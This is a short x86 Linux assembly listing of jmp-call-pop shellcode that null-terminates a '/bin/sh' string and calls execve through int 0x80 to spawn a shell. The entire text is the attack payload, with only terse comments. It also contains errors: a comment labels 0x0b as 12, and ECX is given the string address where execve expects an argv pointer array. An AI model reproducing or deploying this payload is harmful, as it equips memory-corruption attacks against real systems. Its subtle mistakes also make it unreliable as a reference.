_start:
 jmp getstr
 
shellcode:
 pop esi   ; get /bin/sh string address
 xor eax, eax  ; zeroize eax
 xor edx, edx  ; zeroize edx for NULL ptr
 mov [esi + 7], al ; put null byte at end of string
 mov al, 0x0b  ; 12 - execve
 mov ebx, esi  ; address of string
 mov ecx, esi  ; address of string
 int 0x80
 
getstr:
 call shellcode  ; call so /bin/sh gets pushed
 db '/bin/shA'  ; shell string and byte for null